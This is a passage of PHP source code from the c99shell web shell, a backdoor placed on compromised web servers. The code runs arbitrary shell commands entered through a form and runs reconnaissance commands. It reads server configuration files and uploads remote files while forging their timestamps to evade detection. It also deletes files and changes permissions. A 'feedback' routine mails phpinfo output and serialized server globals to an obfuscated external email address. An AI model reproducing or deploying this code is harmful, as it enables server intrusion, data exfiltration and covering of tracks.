            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=accounting.log&d=" . urlencode("/var/cpanel/") . "\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";
        }
        if (file_get_contents("/usr/local/apache/conf/httpd.conf"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=httpd.conf&d=" . urlencode("/usr/local/apache/conf") . "&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/httpd.conf"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=httpd.conf&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/syslog.conf"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=syslog.conf&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/motd"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=motd&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/hosts"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=hosts&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";
        }
        function displaysecinfo($name, $value)
        {
            if (!empty($value))
            {
                if (!empty($name))
                {
                    $name = "<b>" . $name . " - </b>";
                }
                echo $name . nl2br($value) . "<br>";
            }
        }
        displaysecinfo("OS Version?", myshellexec("cat /proc/version"));
        displaysecinfo("Kernel version?", myshellexec("sysctl -a | grep version"));
        displaysecinfo("Distrib name", myshellexec("cat /etc/issue.net"));
        displaysecinfo("Distrib name (2)", myshellexec("cat /etc/*-realise"));
        displaysecinfo("CPU?", myshellexec("cat /proc/cpuinfo"));
        displaysecinfo("RAM", myshellexec("free -m"));
        displaysecinfo("HDD space", myshellexec("df -h"));
        displaysecinfo("List of Attributes", myshellexec("lsattr -a"));
        displaysecinfo("Mount options ", myshellexec("cat /etc/fstab"));
        displaysecinfo("Is cURL installed?", myshellexec("which curl"));
        displaysecinfo("Is lynx installed?", myshellexec("which lynx"));
        displaysecinfo("Is links installed?", myshellexec("which links"));
        displaysecinfo("Is fetch installed?", myshellexec("which fetch"));
        displaysecinfo("Is GET installed?", myshellexec("which GET"));
        displaysecinfo("Is perl installed?", myshellexec("which perl"));
        displaysecinfo("Where is apache", myshellexec("whereis apache"));
        displaysecinfo("Where is perl?", myshellexec("whereis perl"));
        displaysecinfo("locate proftpd.conf", myshellexec("locate proftpd.conf"));
        displaysecinfo("locate httpd.conf", myshellexec("locate httpd.conf"));
        displaysecinfo("locate my.conf", myshellexec("locate my.conf"));
        displaysecinfo("locate psybnc.conf", myshellexec("locate psybnc.conf"));
    }
    if ($act == "mkfile")
    {
        if ($mkfile != $d)
        {
            if (file_exists($mkfile))
            {
                echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: object alredy exists";
            }
            elseif (!fopen($mkfile, "w"))
            {
                echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: access denied";
            }
            else
            {
                $act = "f";
                $d = dirname($mkfile);
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
                $f = basename($mkfile);
            }
        }
        else
        {
            $act = $dspact = "ls";
        }
    }
    if ($act == "encoder")
    {
        echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"" . $surl . "\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>" . @htmlspecialchars($encoder_input) . "</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
        foreach (array(
            "md5",
            "crypt",
            "sha1",
            "crc32"
        ) as $v)
        {
            echo $v . " - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $v($encoder_input) . "\" readonly><br>";
        }
        echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . urlencode($encoder_input) . "\" readonly>
 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . htmlspecialchars(urldecode($encoder_input)) . "\" readonly>
 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . base64_encode($encoder_input) . "\" readonly></center>";
        echo "<center>base64_decode - ";
        if (base64_encode(base64_decode($encoder_input)) != $encoder_input)
        {
            echo "<input type=text size=35 value=\"failed\" disabled readonly>";
        }
        else
        {
            $debase64 = base64_decode($encoder_input);
            $debase64 = str_replace("", "[0]", $debase64);
            $a = explode("
", $debase64);
            $rows = count($a);
            $debase64 = htmlspecialchars($debase64);
            if ($rows == 1)
            {
                echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $debase64 . "\" id=\"debase64\" readonly>";
            }
            else
            {
                $rows++;
                echo "<textarea cols=\"40\" rows=\"" . $rows . "\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>" . $debase64 . "</textarea>";
            }
            echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
        }
        echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
        $c = strlen($encoder_input);
        for ($i = 0;$i < $c;$i++)
        {
            $hex = dechex(ord($encoder_input[$i]));
            if ($encoder_input[$i] == "&")
            {
                echo $encoder_input[$i];
            }
            elseif ($encoder_input[$i] != "\")
            {
                echo "%" . $hex;
            }
        }
        echo "\" readonly><br></center></form>";
    }
    if ($act == "fsbuff")
    {
        $arr_copy = $sess_data["copy"];
        $arr_cut = $sess_data["cut"];
        $arr = array_merge($arr_copy, $arr_cut);
        if (count($arr) == 0)
        {
            echo "<center><b>Buffer is empty!</b></center>";
        }
        else
        {
            echo "<b>File-System buffer</b><br><br>";
            $ls_arr = $arr;
            $disp_fullpath = true;
            $act = "ls";
        }
    }
    if ($act == "selfremove")
    {
        if (($submit == $rndcode) and ($submit != ""))
        {
            if (unlink(__FILE__))
            {
                @ob_clean();
                echo "Thanks for using c99shell v." . $shver . "!";
                c99shexit();
            }
            else
            {
                echo "<center><b>Can't delete " . __FILE__ . "!</b></center>";
            }
        }
        else
        {
            if (!empty($rndcode))
            {
                echo "<b>Error: incorrect confimation!</b>";
            }
            $rnd = rand(0, 9) . rand(0, 9) . rand(0, 9);
            echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=selfremove><b>Self-remove: " . __FILE__ . " <br><b>Are you sure?<br>For confirmation, enter \"" . $rnd . "\"</b>:&nbsp;<input type=hidden name=rndcode value=\"" . $rnd . "\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
        }
    }
    if ($act == "update")
    {
        $ret = c99sh_getupdate(!!$confirmupdate);
        echo "<b>" . $ret . "</b>";
        if (stristr($ret, "new version"))
        {
            echo "<br><br><input type=button onclick=\"location.href='" . $surl . "act=update&confirmupdate=1';\" value=\"Update now\">";
        }
    }
    if ($act == "feedback")
    {
        $suppmail = base64_decode("c2VjdXJlaGFzaHBoaWxpcHBpbmVzQGdtYWlsLmNvbQ==");
        if (!empty($submit))
        {
            $ticket = substr(md5(microtime() + rand(1, 1000)) , 0, 6);
            $body = "c99shell v." . $shver . " feedback #" . $ticket . "
Name: " . htmlspecialchars($fdbk_name) . "
E-mail: " . htmlspecialchars($fdbk_email) . "
Message:
" . htmlspecialchars($fdbk_body) . "

IP: " . $REMOTE_ADDR;
            if (!empty($fdbk_ref))
            {
                $tmp = @ob_get_contents();
                ob_clean();
                phpinfo();
                $phpinfo = base64_encode(ob_get_contents());
                ob_clean();
                echo $tmp;
                $body .= "
" . "phpinfo(): " . $phpinfo . "
" . "\$GLOBALS=" . base64_encode(serialize($GLOBALS)) . "
";
            }
            mail($suppmail, "c99shell v." . $shver . " feedback #" . $ticket, $body, "FROM: " . $suppmail);
            echo "<center><b>Thanks for your feedback! Your ticket ID: " . $ticket . ".</b></center>";
        }
        else
        {
            echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (" . str_replace(array(
                "@",
                "."
            ) , array(
                "[at]",
                "[dot]"
            ) , $suppmail) . "):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"" . htmlspecialchars($fdbk_name) . "\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"" . htmlspecialchars($fdbk_email) . "\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>" . htmlspecialchars($fdbk_body) . "</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"" . urlencode($HTTP_REFERER) . "\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";
        }
    }
    if ($act == "search")
    {
        echo "<b>Search in file-system:</b><br>";
        if (empty($search_in))
        {
            $search_in = $d;
        }
        if (empty($search_name))
        {
            $search_name = "(.*)";
            $search_name_regexp = 1;
        }
        if (empty($search_text_wwo))
        {
            $search_text_regexp = 0;
        }
        if (!empty($submit))
        {
            $found = array();
            $found_d = 0;
            $found_f = 0;
            $search_i_f = 0;
            $search_i_d = 0;
            $a = array(
                "name" => $search_name,
                "name_regexp" => $search_name_regexp,
                "text" => $search_text,
                "text_regexp" => $search_text_regxp,
                "text_wwo" => $search_text_wwo,
                "text_cs" => $search_text_cs,
                "text_not" => $search_text_not
            );
            $searchtime = getmicrotime();
            $in = array_unique(explode(";", $search_in));
            foreach ($in as $v)
            {
                c99fsearch($v);
            }
            $searchtime = round(getmicrotime() - $searchtime, 4);
            if (count($found) == 0)
            {
                echo "<b>No files found!</b>";
            }
            else
            {
                $ls_arr = $found;
                $disp_fullpath = true;
                $act = "ls";
            }
        }
        echo "<form method=POST>
<input type=hidden name=\"d\" value=\"" . $dispd . "\"><input type=hidden name=act value=\"" . $dspact . "\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"" . round(strlen($search_name) + 25) . "\" value=\"" . htmlspecialchars($search_name) . "\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" " . ($search_name_regexp == 1 ? " checked" : "") . "> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"" . round(strlen($search_in) + 25) . "\" value=\"" . htmlspecialchars($search_in) . "\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">" . htmlspecialchars($search_text) . "</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" " . ($search_text_regexp == 1 ? " checked" : "") . "> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" " . ($search_text_wwo == 1 ? " checked" : "") . "> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" " . ($search_text_cs == 1 ? " checked" : "") . "> - cas<u>e</u> sensitive
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" " . ($search_text_not == 1 ? " checked" : "") . "> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
        if ($act == "ls")
        {
            $dspact = $act;
            echo "<hr size=\"1\" noshade><b>Search took " . $searchtime . " secs (" . $search_i_f . " files and " . $search_i_d . " folders, " . round(($search_i_f + $search_i_d) / $searchtime, 4) . " objects per second).</b><br><br>";
        }
    }
    if ($act == "chmod")
    {
        $mode = fileperms($d . $f);
        if (!$mode)
        {
            echo "<b>Change file-mode with error:</b> can't get current value.";
        }
        else
        {
            $form = true;
            if ($chmod_submit)
            {
                $octet = "0" . base_convert(($chmod_o["r"] ? 1 : 0) . ($chmod_o["w"] ? 1 : 0) . ($chmod_o["x"] ? 1 : 0) . ($chmod_g["r"] ? 1 : 0) . ($chmod_g["w"] ? 1 : 0) . ($chmod_g["x"] ? 1 : 0) . ($chmod_w["r"] ? 1 : 0) . ($chmod_w["w"] ? 1 : 0) . ($chmod_w["x"] ? 1 : 0) , 2, 8);
                if (chmod($d . $f, $octet))
                {
                    $act = "ls";
                    $form = false;
                    $err = "";
                }
                else
                {
                    $err = "Can't chmod to " . $octet . ".";
                }
            }
            if ($form)
            {
                $perms = parse_perms($mode);
                echo "<b>Changing file-mode (" . $d . $f . "), " . view_perms_color($d . $f) . " (" . substr(decoct(fileperms($d . $f)) , -4, 4) . ")</b><br>" . ($err ? "<b>Error:</b> " . $err : "") . "<form action=\"" . $surl . "\" method=POST><input type=hidden name=d value=\"" . htmlspecialchars($d) . "\"><input type=hidden name=f value=\"" . htmlspecialchars($f) . "\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1" . ($perms["o"]["r"] ? " checked" : "") . ">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1" . ($perms["o"]["w"] ? " checked" : "") . ">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1" . ($perms["o"]["x"] ? " checked" : "") . ">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1" . ($perms["g"]["r"] ? " checked" : "") . ">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1" . ($perms["g"]["w"] ? " checked" : "") . ">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1" . ($perms["g"]["x"] ? " checked" : "") . ">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1" . ($perms["w"]["r"] ? " checked" : "") . ">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1" . ($perms["w"]["w"] ? " checked" : "") . ">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1" . ($perms["w"]["x"] ? " checked" : "") . ">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
            }
        }
    }
    if ($act == "upload")
    {
        $uploadmess = "";
        $uploadpath = str_replace("\", DIRECTORY_SEPARATOR, $uploadpath);
        if (empty($uploadpath))
        {
            $uploadpath = $d;
        }
        elseif (substr($uploadpath, -1) != "/")
        {
            $uploadpath .= "/";
        }
        if (!empty($submit))
        {
            global $HTTP_POST_FILES;
            $uploadfile = $HTTP_POST_FILES["uploadfile"];
            if (!empty($uploadfile["tmp_name"]))
            {
                if (empty($uploadfilename))
                {
                    $destin = $uploadfile["name"];
                }
                else
                {
                    $destin = $userfilename;
                }
                if (!move_uploaded_file($uploadfile["tmp_name"], $uploadpath . $destin))
                {
                    $uploadmess .= "Error uploading file " . $uploadfile["name"] . " (can't copy \"" . $uploadfile["tmp_name"] . "\" to \"" . $uploadpath . $destin . "\"!<br>";
                }
            }
            elseif (!empty($uploadurl))
            {
                if (!empty($uploadfilename))
                {
                    $destin = $uploadfilename;
                }
                else
                {
                    $destin = explode("/", $destin);
                    $destin = $destin[count($destin) - 1];
                    if (empty($destin))
                    {
                        $i = 0;
                        $b = "";
                        while (file_exists($uploadpath . $destin))
                        {
                            if ($i > 0)
                            {
                                $b = "_" . $i;
                            }
                            $destin = "index" . $b . ".html";
                            $i++;
                        }
                    }
                }
                if ((!preg_match("http://", $uploadurl)) and (!preg_match("https://", $uploadurl)) and (!preg_match("ftp://", $uploadurl)))
                {
                    echo "<b>Incorect url!</b><br>";
                }
                else
                {
                    $st = getmicrotime();
                    $content = @file_get_contents($uploadurl);
                    $dt = round(getmicrotime() - $st, 4);
                    if (!$content)
                    {
                        $uploadmess .= "Can't download file!<br>";
                    }
                    else
                    {
                        if ($filestealth)
                        {
                            $stat = stat($uploadpath . $destin);
                        }
                        $fp = fopen($uploadpath . $destin, "w");
                        if (!$fp)
                        {
                            $uploadmess .= "Error writing to file " . htmlspecialchars($destin) . "!<br>";
                        }
                        else
                        {
                            fwrite($fp, $content, strlen($content));
                            fclose($fp);
                            if ($filestealth)
                            {
                                touch($uploadpath . $destin, $stat[9], $stat[8]);
                            }
                        }
                    }
                }
            }
        }
        if ($miniform)
        {
            echo "<b>" . $uploadmess . "</b>";
            $act = "ls";
        }
        else
        {
            echo "<b>File upload:</b><br><b>" . $uploadmess . "</b><form enctype=\"multipart/form-data\" action=\"" . $surl . "act=upload&d=" . urlencode($d) . "\" method=POST>
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"" . htmlspecialchars($uploadurl) . "\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"" . $dispd . "\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
<input type=submit name=submit value=\"Upload\">
</form>";
        }
    }
    if ($act == "delete")
    {
        $delerr = "";
        foreach ($actbox as $v)
        {
            $result = false;
            $result = fs_rmobj($v);
            if (!$result)
            {
                $delerr .= "Can't delete " . htmlspecialchars($v) . "<br>";
            }
        }
        if (!empty($delerr))
        {
            echo "<b>Deleting with errors:</b><br>" . $delerr;
        }
        $act = "ls";
    }
    if (!$usefsbuff)
    {
        if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect"))
        {
            echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";
        }
    }
    else
    {
        if ($act == "copy")
        {
            $err = "";
            $sess_data["copy"] = array_merge($sess_data["copy"], $actbox);
            c99_sess_put($sess_data);
            $act = "ls";
        }
        elseif ($act == "cut")
        {
            $sess_data["cut"] = array_merge($sess_data["cut"], $actbox);
            c99_sess_put($sess_data);
            $act = "ls";
        }
        elseif ($act == "unselect")
        {
            foreach ($sess_data["copy"] as $k => $v)
            {
                if (in_array($v, $actbox))
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                if (in_array($v, $actbox))
                {
                    unset($sess_data["cut"][$k]);
                }
            }
            c99_sess_put($sess_data);
            $act = "ls";
        }
        if ($actemptybuff)
        {
            $sess_data["copy"] = $sess_data["cut"] = array();
            c99_sess_put($sess_data);
        }
        elseif ($actpastebuff)
        {
            $psterr = "";
            foreach ($sess_data["copy"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_copy_obj($v, $to))
                {
                    $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
                }
                if ($copy_unset)
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_move_obj($v, $to))
                {
                    $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
                }
                unset($sess_data["cut"][$k]);
            }
            c99_sess_put($sess_data);
            if (!empty($psterr))
            {
                echo "<b>Pasting with errors:</b><br>" . $psterr;
            }
            $act = "ls";
        }
        elseif ($actarcbuff)
        {
            $arcerr = "";
            if (substr($actarcbuff_path, -7, 7) == ".tar.gz")
            {
                $ext = ".tar.gz";
            }
            else
            {
                $ext = ".tar.gz";
            }
            if ($ext == ".tar.gz")
            {
                $cmdline = "tar cfzv";
            }
            $cmdline .= " " . $actarcbuff_path;
            $objects = array_merge($sess_data["copy"], $sess_data["cut"]);
            foreach ($objects as $v)
            {
                $v = str_replace("\", DIRECTORY_SEPARATOR, $v);
                if (substr($v, 0, strlen($d)) == $d)
                {
                    $v = basename($v);
                }
                if (is_dir($v))
                {
                    if (substr($v, -1) != DIRECTORY_SEPARATOR)
                    {
                        $v .= DIRECTORY_SEPARATOR;
                    }
                    $v .= "*";
                }
                $cmdline .= " " . $v;
            }
            $tmp = realpath(".");
            chdir($d);
            $ret = myshellexec($cmdline);
            chdir($tmp);
            if (empty($ret))
            {
                $arcerr .= "Can't call archivator (" . htmlspecialchars(str2mini($cmdline, 60)) . ")!<br>";
            }
            $ret = str_replace("
", "
", $ret);
            $ret = explode("
", $ret);
            if ($copy_unset)
            {
                foreach ($sess_data["copy"] as $k => $v)
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                if (in_array($v, $ret))
                {
                    fs_rmobj($v);
                }
                unset($sess_data["cut"][$k]);
            }
            c99_sess_put($sess_data);
            if (!empty($arcerr))
            {
                echo "<b>Archivation errors:</b><br>" . $arcerr;
            }
            $act = "ls";
        }
        elseif ($actpastebuff)
        {
            $psterr = "";
            foreach ($sess_data["copy"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_copy_obj($v, $d))
                {
                    $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
                }
                if ($copy_unset)
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_move_obj($v, $d))
                {
                    $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
                }
                unset($sess_data["cut"][$k]);
            }
            c99_sess_put($sess_data);
            if (!empty($psterr))
            {
                echo "<b>Pasting with errors:</b><br>" . $psterr;
            }
            $act = "ls";
        }
    }
    if ($act == "cmd")
    {
        if (trim($cmd) == "ps -aux")
        {
            $act = "processes";
        }
        elseif (trim($cmd) == "tasklist")
        {
            $act = "processes";
        }
        else
        {
            @chdir($chdir);
            if (!empty($submit))
            {
                echo "<b>Result of execution this command</b>:<br>";
                $olddir = realpath(".");
                @chdir($d);
                $ret = myshellexec($cmd);
                $ret = convert_cyr_string($ret, "d", "w");
                if ($cmd_txt)
                {
                    $rows = count(explode("
", $ret)) + 1;
                    if ($rows < 10)
                    {
                        $rows = 10;
                    }
                    echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
                }
                else
                {
                    echo $ret . "<br>";
                }
                @chdir($olddir);
            }
            else
            {
                echo "<b>Execution command</b>";
                if (empty($cmd_txt))
                {
                    $cmd_txt = true;
                }
            }
            echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>" . htmlspecialchars($cmd) . "</textarea><input type=hidden name=\"d\" value=\"" . $dispd . "\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\"";
            if ($cmd_txt)
            {
                echo " checked";
            }
            echo "></form>";
        }
    }
    if ($act == "ls")
    {
        if (count($ls_arr) > 0)
        {
            $list = $ls_arr;
        }
        else
        {
            $list = array();
            if ($h = @opendir($d))
            {
                while (($o = readdir($h)) !== false)
                {
                    $list[] = $d . $o;
                }
                closedir($h);
            }
            else
            {
            }
        }
        if (count($list) == 0)
        {
            echo "<center><b>Can't open folder (" . htmlspecialchars($d) . ")!</b></center>";
        }
        else
        {
            $objects = array();
            $vd = "f";
            if ($vd == "f")
            {
                $objects["head"] = array();
                $objects["folders"] = array();
                $objects["links"] = array();
                $objects["files"] = array();
                foreach ($list as $v)
                {
                    $o = basename($v);
                    $row = array();
                    if ($o == ".")
                    {
                        $row[] = $d . $o;
                        $row[] = "LINK";
                    }
                    elseif ($o == "..")
                    {
                        $row[] = $d . $o;
                        $row[] = "LINK";
                    }
                    elseif (is_dir($v))
                    {
                        if (is_link($v))
                        {
                            $type = "LINK";
                        }
                        else
                        {
                            $type = "DIR";
                        }
                        $row[] = $v;
                        $row[] = $type;
                    }
                    elseif (is_file($v))
                    {
                        $row[] = $v;
                        $row[] = filesize($v);
                    }
                    $row[] = filemtime($v);
                    if (!$win)
                    {
                        $ow = posix_getpwuid(fileowner($v));
                        $gr = posix_getgrgid(filegroup($v));
                        $row[] = ($ow["name"] ? $ow["name"] : fileowner($v)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($v));
                    }
                    $row[] = fileperms($v);
                    if (($o == ".") or ($o == ".."))
                    {
                        $objects["head"][] = $row;
                    }
                    elseif (is_link($v))
                    {
                        $objects["links"][] = $row;
                    }
                    elseif (is_dir($v))
                    {
                        $objects["folders"][] = $row;
                    }
                    elseif (is_file($v))
                    {
                        $objects["files"][] = $row;
                    }
                    $i++;
                }
                $row = array();
                $row[] = "<b>Name</b>";
                $row[] = "<b>Size</b>";
                $row[] = "<b>Modify</b>";
                if (!$win)
                {
                    $row[] = "<b>Owner/Group</b>";
                }
                $row[] = "<b>Perms</b>";
                $row[] = "<b>Action</b>";
                $parsesort = parsesort($sort);
                $sort = $parsesort[0] . $parsesort[1];
                $k = $parsesort[0];
                if ($parsesort[1] != "a")
                {
                    $parsesort[1] = "d";
                }
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $k . ($parsesort[1] == "a" ? "d" : "a") . "\">";
                $y .= "<img src=\"" . $surl . "act=img&img=sort_" . ($sort[1] == "a" ? "asc" : "desc") . "\" height=\"9\" width=\"14\" alt=\"" . ($parsesort[1] == "a" ? "Asc." : "Desc") . "\" border=\"0\"></a>";
                $row[$k] .= $y;
                for ($i = 0;$i < count($row) - 1;$i++)
                {
                    if ($i != $k)
                    {
                        $row[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $i . $parsesort[1] . "\">" . $row[$i] . "</a>";
                    }
                }
                $v = $parsesort[0];
                usort($objects["folders"], "tabsort");
                usort($objects["links"], "tabsort");
                usort($objects["files"], "tabsort");
                if ($parsesort[1] == "d")
                {
                    $objects["folders"] = array_reverse($objects["folders"]);
                    $objects["files"] = array_reverse($objects["files"]);
                }
                $objects = array_merge($objects["head"], $objects["folders"], $objects["links"], $objects["files"]);
                $tab = array();
                $tab["cols"] = array(
                    $row
                );
                $tab["head"] = array();
                $tab["folders"] = array();
                $tab["links"] = array();
                $tab["files"] = array();
                $i = 0;
                foreach ($objects as $a)
                {
                    $v = $a[0];
                    $o = basename($v);
                    $dir = dirname($v);
                    if ($disp_fullpath)
                    {
                        $disppath = $v;
                    }
                    else
                    {
                        $disppath = $o;
                    }
                    $disppath = str2mini($disppath, 60);
                    if (in_array($v, $sess_data["cut"]))
                    {
                        $disppath = "<strike>" . $disppath . "</strike>";
                    }
                    elseif (in_array($v, $sess_data["copy"]))
                    {
                        $disppath = "<u>" . $disppath . "</u>";
                    }
                    foreach ($regxp_highlight as $r)
                    {
                        if (preg_match($r[0], $o))
                        {
                            if ((!is_numeric($r[1])) or ($r[1] > 3))
                            {
                                $r[1] = 0;
                                ob_clean();
                                echo "Warning! Configuration error in \$regxp_highlight[" . $k . "][0] - unknown command.";
                                c99shexit();
                            }
                            else
                            {
                                $r[1] = round($r[1]);
                                $isdir = is_dir($v);
                                if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
                                {
                                    if (empty($r[2]))
                                    {
                                        $r[2] = "<b>";
                                        $r[3] = "</b>";
                                    }
                                    $disppath = $r[2] . $disppath . $r[3];
                                    if ($r[4])
                                    {
                                        break;
                                    }
                                }
                            }
                        }
                    }
                    $uo = urlencode($o);
                    $ud = urlencode($dir);
                    $uv = urlencode($v);
                    $row = array();
                    if ($o == ".")
                    {
                        $row[] = "<img src=\"" . $surl . "act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\">" . $o . "</a>";
                        $row[] = "LINK";
                    }
                    elseif ($o == "..")
                    {
                        $row[] = "<img src=\"" . $surl . "act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\">" . $o . "</a>";
                        $row[] = "LINK";
                    }
                    elseif (is_dir($v))
                    {
                        if (is_link($v))
                        {
                            $disppath .= " => " . readlink($v);
                            $type = "LINK";
                            $row[] = "<img src=\"" . $surl . "act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\">[" . $disppath . "]</a>";
                        }
                        else
                        {
                            $type = "DIR";
                            $row[] = "<img src=\"" . $surl . "act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\">[" . $disppath . "]</a>";
                        }
                        $row[] = $type;
                    }
                    elseif (is_file($v))
                    {
                        $ext = explode(".", $o);
                        $c = count($ext) - 1;
                        $ext = $ext[$c];
                        $ext = strtolower($ext);
                        $row[] = "<img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=f&f=" . $uo . "&d=" . $ud . "&\">" . $disppath . "</a>";
                        $row[] = view_size($a[1]);
                    }
                    $row[] = date("d.m.Y H:i:s", $a[2]);
